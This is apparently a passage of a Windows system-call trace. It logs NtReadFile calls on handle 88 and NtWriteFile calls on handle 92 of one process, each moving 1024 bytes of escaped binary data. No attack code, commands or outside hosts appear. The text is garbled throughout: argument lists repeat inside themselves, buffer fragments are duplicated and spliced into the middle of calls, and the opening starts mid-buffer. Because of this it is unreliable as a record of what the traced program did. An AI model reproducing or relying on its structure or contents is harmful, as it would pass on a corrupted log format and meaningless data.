,+\245\352\273\332\3311\277?{\310\320\242\232X%t&\30\304W\16\36\3776\311\224\243\23\323b'\14!+_%{\306"8\33121\365\264\360i\372=V;=24>\35\301\2357\31&\374P\304?#\317~\350"r\232\314\206\245?\301f\277\215\263\212\313\310\271\333\376{?b`\207\233\232\330\3\240\35~-#+%)''),+{\255n#\260\262\373\314\7\365\304\231\2309z3\313\354w\264\312\354\35\354\35\216\261"|\251\241w\346(\257)sNck\244l\25\16r:\5?DD\211\22\375u\265\22\312\35L\336\214I\2007\5&t\330\375\2312\7]\254K\317.b\303-R\313\7::r\263:M"3N8wA\203\326?\11l\257-pE!\22278fHe\227:\14&331?\24\34\32\36\340h4\206\373\325g3\347(/s=\357B\3527\275\265\26\23\225\2652gm\306\351\3731\5\3772\32\35\240\36\35qst\313\0'\307e\277\252\322*#\250\263\250\3605\262M\265\6\3118\275\223\372\262\274E\202=\32\343\10z\237\25\256\242ge9\247\211\3530\246\17F/..\263\3656\263\277\363h\365<9;tT=T\300sC\216]\37!!F\202$!vC\241\14"+(|.>\271E\267$\3620\37\3309<\374z,<\13\332\35\220\220\305"! #\343a\278)p+\30\271\32\266\4\204\6p4\3\200\1\30\16\304\14\22=\6~#e%\276'\20!\33", ) , ) == 0x0
 01391  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\301\3168\207\313\366\213r\340\370\374,\314D\232\247uH\353L\7\234\4\3140\34\364\373v\370n\37\33,\301\255\314)\223\3700\365\311\332\325\36\2020\214i!\5b\255\246\305\230\311\253\367\224`h\272\347&\25W\34#\270\314\323\336\222`\363\203\363\264\302\364\362}\233\341\37X\305\272\234j\320\253\275\373\255\273\371\332x\325\250\370\326\250\15\217\330.\253&\32(\363!W\267^XG\14\232\235\254$\210\341\302\207\3128\267\343\203\227\301o*J\267\204\223K>.\223+\6\204\3617m\31\0\3218\321\224\3626\235,\353\373\270\275\277/p^\33\232\7H\5\273\331\34*kbP\305\217\267\377\256\304\250&\13\\260g\320\301\250\224\302\201^nq\363\263\346\234\260~V\201\330d\20["]e\224Fq\1\2642\275[8\21*2\234y\220\32i\36\325\336{\300~2\376\264\303\331\362'@\354\370\23\346(9\230\312\322\371\204\5j\377z\251\335\20a\344\235\373\354\6\217s\277+\250\313\363\4,\265S\346A`\273-\364k"*\246oUk\212\335H\111Q\307\332\10#\362\343\11\2377\305e\272,?\366FG.\352\316z\353UH\345\321\255m\252\345\262\261'$\316\206\272g|f\336*\14\3\15\215s\265\344\232\205\263\301\2\321\272\211\376V\272y\221\275o\2'\357\203s'\236\376\34\15\223\320\301l/\7f\257\202\371#\225\2\206\222Y\30\372\323\27\361uZ=\307\350\306\262\257\15\314f$\314X\241k\371\326\13\251\260\268\235'6?\1H\13\6\211\261D\330\327\211Z\250%\342\202h\246\21pFo@\236\320\360C\30\261\207Y\241#M\261\263~\201\335\300\366\346\272\231\30\10\314 \321\245#|\253\272d&\247\371TV-\254\24\276\212\25\263LLK\311\242\344", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) ]e\224Fq\1\2642\275[8\21*2\234y\220\32i\36\325\336{\300~2\376\264\303\331\362'@\354\370\23\346(9\230\312\322\371\204\5j\377z\251\335\20a\344\235\373\354\6\217s\277+\250\313\363\4,\265S\346A`\273-\364k (92, 0, 0, 0, "\301\3168\207\313\366\213r\340\370\374,\314D\232\247uH\353L\7\234\4\3140\34\364\373v\370n\37\33,\301\255\314)\223\3700\365\311\332\325\36\2020\214i!\5b\255\246\305\230\311\253\367\224`h\272\347&\25W\34#\270\314\323\336\222`\363\203\363\264\302\364\362}\233\341\37X\305\272\234j\320\253\275\373\255\273\371\332x\325\250\370\326\250\15\217\330.\253&\32(\363!W\267^XG\14\232\235\254$\210\341\302\207\3128\267\343\203\227\301o*J\267\204\223K>.\223+\6\204\3617m\31\0\3218\321\224\3626\235,\353\373\270\275\277/p^\33\232\7H\5\273\331\34*kbP\305\217\267\377\256\304\250&\13\\260g\320\301\250\224\302\201^nq\363\263\346\234\260~V\201\330d\20["]e\224Fq\1\2642\275[8\21*2\234y\220\32i\36\325\336{\300~2\376\264\303\331\362'@\354\370\23\346(9\230\312\322\371\204\5j\377z\251\335\20a\344\235\373\354\6\217s\277+\250\313\363\4,\265S\346A`\273-\364k"*\246oUk\212\335H\111Q\307\332\10#\362\343\11\2377\305e\272,?\366FG.\352\316z\353UH\345\321\255m\252\345\262\261'$\316\206\272g|f\336*\14\3\15\215s\265\344\232\205\263\301\2\321\272\211\376V\272y\221\275o\2'\357\203s'\236\376\34\15\223\320\301l/\7f\257\202\371#\225\2\206\222Y\30\372\323\27\361uZ=\307\350\306\262\257\15\314f$\314X\241k\371\326\13\251\260\268\235'6?\1H\13\6\211\261D\330\327\211Z\250%\342\202h\246\21pFo@\236\320\360C\30\261\207Y\241#M\261\263~\201\335\300\366\346\272\231\30\10\314 \321\245#|\253\272d&\247\371TV-\254\24\276\212\25\263LLK\311\242\344", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01392  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, ")"\313,-/!1:354=4\347;99\204<8\260\177\15\0w\37\36\345b"X\214\246\342;+\354n\13qr.\273\31\321|ce1\363\312\30v\271\364=\374\2637\222`9^\367\242wb\3\215\5/+h\347.\13%y_\169c\332\310\226\267\323?9a-z<>\301\177\16@\312\34\36\253!\12\256\244a\2\23\245\245\16\223,\33<~\263SZ_\265#d\310-;\36;-\270\376J*\221\231=\36/!nsLa'*\300Z`\223\254b\240\257\177\273\2443{eBfj\275u3\264N}\327D,\37&\36@ V*\342`0&\301\245K$\356#\354(\264\25.s\36!eg\212>\373\353b\26633\370\24\26\276\0\350\311\311\303'\366!\207*2\36.\357*'\3537\3456\11\367_^6L\226\3223\271h\221O\35\150\17\261\13p\263\160\7\326\216\242\302\250\321\335/\243011\0\313\16\3318\274\273\252;?U\227?\2241\263\353\224\2425r\35X\1fS!\251\241\271L\235b\244\310#\34\272\203\3252\337(\304\215\23\16\11\2363[\314\22\36j.\242\344+r\315;\245\321\3529\323\177\305\252\304\22212\330,}\277q(\264|\2138m\326M\13\35\34mu\262 \337\3022.e\36^\21%!#-\261g\17h\257p\25\13\371\11\342\7^\4H\2\261\0\201#\35\37\277!!#G$&\10\27\33\31\26\33n\35|\37j\1S\3B\5\36\6\4\10\177\12w\14j\16@-|/\206\21\377\23\202\26\323\24~\33\250\31\254\37\367\35\11\5h\7V\267\265tW!_[WOX\277b\33< >=\5R\0\34~QF[\13+v,%\257\211211h\21Qk4<<\336?", ) \313,-/!1:354=4\347;99\204<8\260\177\15\0w\37\36\345b (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, ")"\313,-/!1:354=4\347;99\204<8\260\177\15\0w\37\36\345b"X\214\246\342;+\354n\13qr.\273\31\321|ce1\363\312\30v\271\364=\374\2637\222`9^\367\242wb\3\215\5/+h\347.\13%y_\169c\332\310\226\267\323?9a-z<>\301\177\16@\312\34\36\253!\12\256\244a\2\23\245\245\16\223,\33<~\263SZ_\265#d\310-;\36;-\270\376J*\221\231=\36/!nsLa'*\300Z`\223\254b\240\257\177\273\2443{eBfj\275u3\264N}\327D,\37&\36@ V*\342`0&\301\245K$\356#\354(\264\25.s\36!eg\212>\373\353b\26633\370\24\26\276\0\350\311\311\303'\366!\207*2\36.\357*'\3537\3456\11\367_^6L\226\3223\271h\221O\35\150\17\261\13p\263\160\7\326\216\242\302\250\321\335/\243011\0\313\16\3318\274\273\252;?U\227?\2241\263\353\224\2425r\35X\1fS!\251\241\271L\235b\244\310#\34\272\203\3252\337(\304\215\23\16\11\2363[\314\22\36j.\242\344+r\315;\245\321\3529\323\177\305\252\304\22212\330,}\277q(\264|\2138m\326M\13\35\34mu\262 \337\3022.e\36^\21%!#-\261g\17h\257p\25\13\371\11\342\7^\4H\2\261\0\201#\35\37\277!!#G$&\10\27\33\31\26\33n\35|\37j\1S\3B\5\36\6\4\10\177\12w\14j\16@-|/\206\21\377\23\202\26\323\24~\33\250\31\254\37\367\35\11\5h\7V\267\265tW!_[WOX\277b\33< >=\5R\0\34~QF[\13+v,%\257\211211h\21Qk4<<\336?", ) , ) == 0x0
 01393  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\206\11\370\26Z\13\342\36349\37\351\341sg\345~\37\320R\2\2\341\255\373\205\235\263\273\6\341\334\274D@{a\244\312\302z\327\273\260\15\301$\252\202\303$]],\260w\353\214\333\36i\203\346*l(,|\0\316\30\263GyF\271\2v;\366\326!\12\346\2160\264\300\364\250c\266hI\342\20\252/\36h\205G\200P|\345\342v\203\36\301\216\302\3619\321`\311\275\334{\211\303QB\251\36qB}\3331rr\262R\357K\253R\276\222\305\370*\316}\247\3069x\254|f.PE\351\271(\332X\223^\2378\354\245\251\347^\206\372u\361;\245u\200\364\224\251\350x\2020\333\31\350]\317\226U\366\325\237\223R\346\24\346\277\373\346t\252\347}\363\211\322\253\252\374\14l\2731\246v\303\266g\26\346\322I\7t\366i2\354m\242\225\361h\337^\32\357r\231\177o\215\360f\336\374\327\32qi\10\354?\233V\214\\340\365c\271\256\36@\36\376\325^\367Y\M\264\327Wc\21\317V\111\362\275\346\345CK{\375\304\71\2131\202\213\311\311\245\331\202l\206\245e\16\5\223\27\231@\240\372\355\305\226Nj\276G\372\6F'\353!~~O\273\21\11\226qS\272A\370\205\261(\2033\343\260!\263\363\305n\320\274%\261\373\337\324&\276\270\302\312\212\201\22\270\257C\232k\305\325\360\2401C5\264DA\212\255\37\365-\3333\310\32\350\35\356w#\32> \3277\342\271d\300\230\234\203\210@\254\3\223\352\363*\350\226\251\254\336\226\2411\344\15_N\373\372S\33\342-];\225\336\21]ln/\31\362\301\330\225\224)\337{\236\332|\370\265T\237TA\355\201v[`\365\7\250\305\357Ewxh\252\315\232o\316", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01394  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "5\20u7a(\2\240k\33\307\17\21+\303\350\357.\215f\36021\334\351\307t\266\271\13j\335==\327\327\376\35\254\374 %6\313\230\307&\307\313)/\303\200\240\314/>\21\275\30243\336\253\3129\230\7\310=9\327\227\356\35t\353 \301\6\2,\326\203\317\275\362\327\13\323G-\307BqX\262\360\224\327t\3\372O-Xtf\277=\241Y\37C\341\15\302K'\33dY\5k\5\273\337\2442\372\361\37\11\360\227@\3768\272)\2738\1]=[\31\32U\222\37\337>"<$:&8(6*4,2.00.-3+5)7'9:;V\302V?#\242^\36\36D\200"# uB\256\15).\250$\3016yq\2437Y{_>#R<{\351V:\265\316\3L\30\27M\310\345#wL \356\6\300\310\33\14\304\334\254~\261\35\177$1<&29\216\322\305L$\215\3079t\31\17@a!C\364\344FW\372\234\3011xx\201\216\371_6 s\0$V0h\321tW;\36\326Tj\31M\32s\26#2\33&\326\254r\31+\311\37.e\30-\230\351:\374a\74\33\274!\36\15>u\6=\260a/\34j\261\37\322+\346\265\26a\253\24\302\251\36\355/\2448\260\363^%ft\250\330\36jS\1IhK\33em{@IODL\244ef'!(*\324,/.\336\304\342\3603=e\351\227\3729;3\346=6\247\32\09\356\375 3\216\372$-\362\361a)6!\317-<\307\3541:\367\246\3446+\276\321:2=h0\345\353Y\34\256Z!\220^;\2216G#\3{5\256,\335\253/\310\264235\343\203\243;9\237K\251>\36\177\32\376\34\2644\245!c\246$i\243'\177\254*\201N\250.B", ) <$:&8(6*4,2.00.-3+5)7'9:;V\302V?#\242^\36\36D\200 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "5\20u7a(\2\240k\33\307\17\21+\303\350\357.\215f\36021\334\351\307t\266\271\13j\335==\327\327\376\35\254\374 %6\313\230\307&\307\313)/\303\200\240\314/>\21\275\30243\336\253\3129\230\7\310=9\327\227\356\35t\353 \301\6\2,\326\203\317\275\362\327\13\323G-\307BqX\262\360\224\327t\3\372O-Xtf\277=\241Y\37C\341\15\302K'\33dY\5k\5\273\337\2442\372\361\37\11\360\227@\3768\272)\2738\1]=[\31\32U\222\37\337>"<$:&8(6*4,2.00.-3+5)7'9:;V\302V?#\242^\36\36D\200"# uB\256\15).\250$\3016yq\2437Y{_>#R<{\351V:\265\316\3L\30\27M\310\345#wL \356\6\300\310\33\14\304\334\254~\261\35\177$1<&29\216\322\305L$\215\3079t\31\17@a!C\364\344FW\372\234\3011xx\201\216\371_6 s\0$V0h\321tW;\36\326Tj\31M\32s\26#2\33&\326\254r\31+\311\37.e\30-\230\351:\374a\74\33\274!\36\15>u\6=\260a/\34j\261\37\322+\346\265\26a\253\24\302\251\36\355/\2448\260\363^%ft\250\330\36jS\1IhK\33em{@IODL\244ef'!(*\324,/.\336\304\342\3603=e\351\227\3729;3\346=6\247\32\09\356\375 3\216\372$-\362\361a)6!\317-<\307\3541:\367\246\3446+\276\321:2=h0\345\353Y\34\256Z!\220^;\2216G#\3{5\256,\335\253/\310\264235\343\203\243;9\237K\251>\36\177\32\376\34\2644\245!c\246$i\243'\177\254*\201N\250.B", ) , ) == 0x0
 01395  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\240\227\341\326\1\3027\322q\327\203\353R\260\26\370r+r\345\341\212\357q\235\177\221\250\6\331#2\315\372\315\5jy\236\2642\31\250\314\223\221\357\327R\303<\256\364\326\205\342g\237\333\213\322i\366\305\246cf\373\262\216t\345\313\347"\330@q\251\\1\354\335\366\342:\11q\238\357\5\353\265\331*C\222\234:!\201G(0M'C\264\316zq5\254Pn\252\327\354\215\256X\314|\364\0\366\212:i@6\327[\226\340(&\255+\362\265yh\277\36\2206"\314\233\343\321\204R"\6\341\244~]7\324\3y"\232n?\10\7\272\13\337\330Tn\252\336\26\227p\216\205\273h\274N\311\225-at\376\331\323c\265\263\251s\264\265\213p\270c\366\246\202\324v\213N)M\257\227\212p\356\353\0[\355\242\59\233\13\204$\353 8Rx\5W\366)\320v\3\34\260]\376\14\327\263\36/\251\315\26\204#\306{;@7^3\206\23z3\324\260\257\361\257V_\32\3669p%\22O\365\222\307\271\246C\312\267\231'g\352\334I\37\265\24I\374\251\236!\244\271\177\347B\206IJu\236\35N%\2238i\31d\306\225\24\260\227\324\205\340\241\316\377\356*\300z/ZP\347I\340ug\376<\230_\236\212\230)8\220S\212h\356x\201\35\1\377\346\335\253,\261\373\209@s\367\3601Fn\340V&\336Mq \240\323\362g\31\204\203\230\323Q\254\236L)\355\35\211c\272DA\16N\354\304\14E\215\14-z\240\263\21*\300\11\370Z\373:\220\323u'\6\327\250\315*\240\241\260\2271\276e\246De\256p4G\337r\2768Z9\2268\226r\224\356\251'{\221G8odJK9\334\347\237?\236\352K8\3567"\346b\360\270w\2301~7\2137\EF", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \330@q\251\\1\354\335\366\342:\11q\238\357\5\353\265\331*C\222\234:!\201G(0M'C\264\316zq5\254Pn\252\327\354\215\256X\314|\364\0\366\212:i@6\327[\226\340(&\255+\362\265yh\277\36\2206 (92, 0, 0, 0, "\240\227\341\326\1\3027\322q\327\203\353R\260\26\370r+r\345\341\212\357q\235\177\221\250\6\331#2\315\372\315\5jy\236\2642\31\250\314\223\221\357\327R\303<\256\364\326\205\342g\237\333\213\322i\366\305\246cf\373\262\216t\345\313\347"\330@q\251\\1\354\335\366\342:\11q\238\357\5\353\265\331*C\222\234:!\201G(0M'C\264\316zq5\254Pn\252\327\354\215\256X\314|\364\0\366\212:i@6\327[\226\340(&\255+\362\265yh\277\36\2206"\314\233\343\321\204R"\6\341\244~]7\324\3y"\232n?\10\7\272\13\337\330Tn\252\336\26\227p\216\205\273h\274N\311\225-at\376\331\323c\265\263\251s\264\265\213p\270c\366\246\202\324v\213N)M\257\227\212p\356\353\0[\355\242\59\233\13\204$\353 8Rx\5W\366)\320v\3\34\260]\376\14\327\263\36/\251\315\26\204#\306{;@7^3\206\23z3\324\260\257\361\257V_\32\3669p%\22O\365\222\307\271\246C\312\267\231'g\352\334I\37\265\24I\374\251\236!\244\271\177\347B\206IJu\236\35N%\2238i\31d\306\225\24\260\227\324\205\340\241\316\377\356*\300z/ZP\347I\340ug\376<\230_\236\212\230)8\220S\212h\356x\201\35\1\377\346\335\253,\261\373\209@s\367\3601Fn\340V&\336Mq \240\323\362g\31\204\203\230\323Q\254\236L)\355\35\211c\272DA\16N\354\304\14E\215\14-z\240\263\21*\300\11\370Z\373:\220\323u'\6\327\250\315*\240\241\260\2271\276e\246De\256p4G\337r\2768Z9\2268\226r\224\356\251'{\221G8odJK9\334\347\237?\236\352K8\3567"\346b\360\270w\2301~7\2137\EF", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \6\341\244~]7\324\3y (92, 0, 0, 0, "\240\227\341\326\1\3027\322q\327\203\353R\260\26\370r+r\345\341\212\357q\235\177\221\250\6\331#2\315\372\315\5jy\236\2642\31\250\314\223\221\357\327R\303<\256\364\326\205\342g\237\333\213\322i\366\305\246cf\373\262\216t\345\313\347"\330@q\251\\1\354\335\366\342:\11q\238\357\5\353\265\331*C\222\234:!\201G(0M'C\264\316zq5\254Pn\252\327\354\215\256X\314|\364\0\366\212:i@6\327[\226\340(&\255+\362\265yh\277\36\2206"\314\233\343\321\204R"\6\341\244~]7\324\3y"\232n?\10\7\272\13\337\330Tn\252\336\26\227p\216\205\273h\274N\311\225-at\376\331\323c\265\263\251s\264\265\213p\270c\366\246\202\324v\213N)M\257\227\212p\356\353\0[\355\242\59\233\13\204$\353 8Rx\5W\366)\320v\3\34\260]\376\14\327\263\36/\251\315\26\204#\306{;@7^3\206\23z3\324\260\257\361\257V_\32\3669p%\22O\365\222\307\271\246C\312\267\231'g\352\334I\37\265\24I\374\251\236!\244\271\177\347B\206IJu\236\35N%\2238i\31d\306\225\24\260\227\324\205\340\241\316\377\356*\300z/ZP\347I\340ug\376<\230_\236\212\230)8\220S\212h\356x\201\35\1\377\346\335\253,\261\373\209@s\367\3601Fn\340V&\336Mq \240\323\362g\31\204\203\230\323Q\254\236L)\355\35\211c\272DA\16N\354\304\14E\215\14-z\240\263\21*\300\11\370Z\373:\220\323u'\6\327\250\315*\240\241\260\2271\276e\246De\256p4G\337r\2768Z9\2268\226r\224\356\251'{\221G8odJK9\334\347\237?\236\352K8\3567"\346b\360\270w\2301~7\2137\EF", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \346b\360\270w\2301~7\2137\EF", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01396  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\266\234\371'\304<9\2143\37\264u\262U\216a*3`-\2507\355\231\25T\1-\257\303:\273$\376\2220\306\235\274<4\206\3719i\32/}\227Y\13\337B \256\7\10\305\244A8\202\200\222\246\317+\223\24\3S\3225\274\242\23\10\331:[:\261:\33{\374\20v\340 "D!\217eyy\253\355:\350\17\247/(0\260\33635365:\200:\34\17\375mjMK_\223\37\263\252\226\70%,\324*\202+ \241\221\12?21\2721\277\30\267DP\306;\26371*;\32\32\235\231\13vq\335\3\34*&((&*$,". 0>2<;59779\37{\364\302\33\373[\305\37\37\247\270\321\363.\241\203\373\373%\330\23\205\253\375!\347\3020pU\3114\372\274}\361\241t\274\274\356=\330\221P\322\366\375p#\267\372%f\252e\355\303)\372- \244u\361b\333\23546{a\372\267v\340\324\375\12\32jM\34i[/\31'dA\317\5\266+jg\305\273,(\4\330\20\27562*\336\276;=?\325\177@=C\354M\366N\220*\3R&wvOtM\14\37}E\306\23J\363\35\373$3Vv\265\11tR\324\355N8\25271\366\35\346\261"\251\262\261&$x!\240\255\277\215"\177\211\364\256\11\325\305\17\305\10:\331\2574=\327W\363f\35\37!\261" ", ) D!\217eyy\253\355:\350\17\247/(0\260\33635365:\200:\34\17\375mjMK_\223\37\263\252\226\70%,\324*\202+ \241\221\12?21\2721\277\30\267DP\306;\26371*;\32\32\235\231\13vq\335\3\34*&((&*$, (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\266\234\371'\304<9\2143\37\264u\262U\216a*3`-\2507\355\231\25T\1-\257\303:\273$\376\2220\306\235\274<4\206\3719i\32/}\227Y\13\337B \256\7\10\305\244A8\202\200\222\246\317+\223\24\3S\3225\274\242\23\10\331:[:\261:\33{\374\20v\340 "D!\217eyy\253\355:\350\17\247/(0\260\33635365:\200:\34\17\375mjMK_\223\37\263\252\226\70%,\324*\202+ \241\221\12?21\2721\277\30\267DP\306;\26371*;\32\32\235\231\13vq\335\3\34*&((&*$,". 0>2<;59779\37{\364\302\33\373[\305\37\37\247\270\321\363.\241\203\373\373%\330\23\205\253\375!\347\3020pU\3114\372\274}\361\241t\274\274\356=\330\221P\322\366\375p#\267\372%f\252e\355\303)\372- \244u\361b\333\23546{a\372\267v\340\324\375\12\32jM\34i[/\31'dA\317\5\266+jg\305\273,(\4\330\20\27562*\336\276;=?\325\177@=C\354M\366N\220*\3R&wvOtM\14\37}E\306\23J\363\35\373$3Vv\265\11tR\324\355N8\25271\366\35\346\261"\251\262\261&$x!\240\255\277\215"\177\211\364\256\11\325\305\17\305\10:\331\2574=\327W\363f\35\37!\261" ", ) \251\262\261&$x!\240\255\277\215 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\266\234\371'\304<9\2143\37\264u\262U\216a*3`-\2507\355\231\25T\1-\257\303:\273$\376\2220\306\235\274<4\206\3719i\32/}\227Y\13\337B \256\7\10\305\244A8\202\200\222\246\317+\223\24\3S\3225\274\242\23\10\331:[:\261:\33{\374\20v\340 "D!\217eyy\253\355:\350\17\247/(0\260\33635365:\200:\34\17\375mjMK_\223\37\263\252\226\70%,\324*\202+ \241\221\12?21\2721\277\30\267DP\306;\26371*;\32\32\235\231\13vq\335\3\34*&((&*$,". 0>2<;59779\37{\364\302\33\373[\305\37\37\247\270\321\363.\241\203\373\373%\330\23\205\253\375!\347\3020pU\3114\372\274}\361\241t\274\274\356=\330\221P\322\366\375p#\267\372%f\252e\355\303)\372- \244u\361b\333\23546{a\372\267v\340\324\375\12\32jM\34i[/\31'dA\317\5\266+jg\305\273,(\4\330\20\27562*\336\276;=?\325\177@=C\354M\366N\220*\3R&wvOtM\14\37}E\306\23J\363\35\373$3Vv\265\11tR\324\355N8\25271\366\35\346\261"\251\262\261&$x!\240\255\277\215"\177\211\364\256\11\325\305\17\305\10:\331\2574=\327W\363f\35\37!\261" ", )  ", ) == 0x0
 01397  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\337J\212Cu=\223dVh\300\253?E\310<\205<"\212\315\331\223#\256\330\252P\4\237\306\261\3t\35\235\265FF!J\344\215dn\372\207\351\346P\342\203wQ\263\366\363\361/\267\246\31}\367\272.Yk=\31]g$\206\2706\237\253T\30\277\320\21\6\212A\244DU\332\316\372\220P\226\245\265S\213\224\11\351\215\342\21'\343uH\257DK\372u=\32\31\270\206\258\264\234\303/\204\227\16SL\267\347\330\204<>\254f\7\314,\311G\3019\241\257\312\25v3\244o5\2\204\14\337\6v\227A\341L\331\34\177\202\302\354\346\353\322\10\342P\336|!\314(\303\351\35\306\346\33\343d=\227\34:T\302{\201\246zc9<\317A\263+A8\316\27Z\361\7V\377g\345\235:\352\207\263\317J\365\204\343vz\334\231\31U\301\354O~\363\356\375\315E|\311\327L-#\315#\327\263\306\244u\233\200\360\231|p\352\15\362\245>\221\307:\242(\273\340~\0\275-\324;\362[\24\21\31\260\24\246\12\373\17\320Z\5\215]\377\303\242IL\217\367(\224\314\17\270.\354\245]\327\361\325\216\177o=VS8\265\334\35\kM\372\363\371^Ur'+\240\336e(\364^\263\363\\234\2213\311\325\201u\346F\247\331\203\273P`5K\352\270\367C\322\36\325\371F3V\27\210\211_\204bc:|\2461Z\15\306(\22\265\\316\316\323*\30\226\17Y<\246\263\255\337\267 R_N#\34|\231\14\265s07h\226\314\345X\245\334\302\267\236\376G\210\340\370\215\276?7^\20\17\363+\21\325VmP\3\200\16x\207\361\1"\213_\361\371\267\206\331\177\262\11\223\272*\274\2h\326\364kc\316\364\361\5\27\345M\211\212c\365\323J\210\376\13\223\317\340\333\260\173\277\20", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \212\315\331\223#\256\330\252P\4\237\306\261\3t\35\235\265FF!J\344\215dn\372\207\351\346P\342\203wQ\263\366\363\361/\267\246\31}\367\272.Yk=\31]g$\206\2706\237\253T\30\277\320\21\6\212A\244DU\332\316\372\220P\226\245\265S\213\224\11\351\215\342\21'\343uH\257DK\372u=\32\31\270\206\258\264\234\303/\204\227\16SL\267\347\330\204<>\254f\7\314,\311G\3019\241\257\312\25v3\244o5\2\204\14\337\6v\227A\341L\331\34\177\202\302\354\346\353\322\10\342P\336|!\314(\303\351\35\306\346\33\343d=\227\34:T\302{\201\246zc9<\317A\263+A8\316\27Z\361\7V\377g\345\235:\352\207\263\317J\365\204\343vz\334\231\31U\301\354O~\363\356\375\315E|\311\327L-#\315#\327\263\306\244u\233\200\360\231|p\352\15\362\245>\221\307:\242(\273\340~\0\275-\324;\362[\24\21\31\260\24\246\12\373\17\320Z\5\215]\377\303\242IL\217\367(\224\314\17\270.\354\245]\327\361\325\216\177o=VS8\265\334\35\kM\372\363\371^Ur'+\240\336e(\364^\263\363\\234\2213\311\325\201u\346F\247\331\203\273P`5K\352\270\367C\322\36\325\371F3V\27\210\211_\204bc:|\2461Z\15\306(\22\265\\316\316\323*\30\226\17Y<\246\263\255\337\267 R_N#\34|\231\14\265s07h\226\314\345X\245\334\302\267\236\376G\210\340\370\215\276?7^\20\17\363+\21\325VmP\3\200\16x\207\361\1 (92, 0, 0, 0, "\337J\212Cu=\223dVh\300\253?E\310<\205<"\212\315\331\223#\256\330\252P\4\237\306\261\3t\35\235\265FF!J\344\215dn\372\207\351\346P\342\203wQ\263\366\363\361/\267\246\31}\367\272.Yk=\31]g$\206\2706\237\253T\30\277\320\21\6\212A\244DU\332\316\372\220P\226\245\265S\213\224\11\351\215\342\21'\343uH\257DK\372u=\32\31\270\206\258\264\234\303/\204\227\16SL\267\347\330\204<>\254f\7\314,\311G\3019\241\257\312\25v3\244o5\2\204\14\337\6v\227A\341L\331\34\177\202\302\354\346\353\322\10\342P\336|!\314(\303\351\35\306\346\33\343d=\227\34:T\302{\201\246zc9<\317A\263+A8\316\27Z\361\7V\377g\345\235:\352\207\263\317J\365\204\343vz\334\231\31U\301\354O~\363\356\375\315E|\311\327L-#\315#\327\263\306\244u\233\200\360\231|p\352\15\362\245>\221\307:\242(\273\340~\0\275-\324;\362[\24\21\31\260\24\246\12\373\17\320Z\5\215]\377\303\242IL\217\367(\224\314\17\270.\354\245]\327\361\325\216\177o=VS8\265\334\35\kM\372\363\371^Ur'+\240\336e(\364^\263\363\\234\2213\311\325\201u\346F\247\331\203\273P`5K\352\270\367C\322\36\325\371F3V\27\210\211_\204bc:|\2461Z\15\306(\22\265\\316\316\323*\30\226\17Y<\246\263\255\337\267 R_N#\34|\231\14\265s07h\226\314\345X\245\334\302\267\236\376G\210\340\370\215\276?7^\20\17\363+\21\325VmP\3\200\16x\207\361\1"\213_\361\371\267\206\331\177\262\11\223\272*\274\2h\326\364kc\316\364\361\5\27\345M\211\212c\365\323J\210\376\13\223\317\340\333\260\173\277\20", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01398  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\256+/~{yZYC\333\335\327\3\271\250\12\252I-2\371\36\365\255:\35\311E33\12\257+\354)\205\31\360\26\257\345L1031#\324 \347\332/d\364\274\0\242\4\,=\177\235a\17\266g\315\363\304'\354\300\344\311,\361z\306\366\3252\215\3205\200\3278\201\216S\312\342Q-\20\34\27\221$(\200\245\306%\212\316V-"]\310-\204A\3242\22~`\21>\226\356\3732\253*on\327\236,\4F\25'n=\262\232E\367\254\331~\251\225M\254(\320?\265y\2439\243\7\263*\4k\366\1\231\256\337\344\313\226F\367\252\247#35\26\233\207|\265\256\17\0\315-\275a\272\377\24\270F\3375)\16\332\11M\326\275\346\234\33\232\337/\245\2673'\24\326$o\301\360\312\310\255o\34\330\247h\343\23v4\361\128\322r8<\266K\363\251Y\34\1\310\24\23"\254rN\207\372?\341\303:\22+\3356\242+K%I'\7&>D,\262\2\260'\223!3\26J%\252\313\264\214$+\255\351^\12!\315&\244!\270",\3356\334?\302\305:\3119~\300\37\343\31\341\33\337%\326'\30\325\216\330,\326(\2607S\11b*p\252\23y \307\35u\235\24\311\37p\301\3178Q\352\376\37M\0o\314\305%\6j"\350/\3aU\265\3172\25\177\214Ub\35z{\304\333#\347"s'VT\35\14\21m\2\2434#h\320\302HKIoE-K.\3407Kr\11\210679_::\177O[?zhxNmOBG#WVg'*\225**,hV_Q_VvZ5@^JVTVYS\276KHhowqG!V#%1'r\11(\35\13-\37\10.\5\203\25a\257\26\368\33\32=", ) 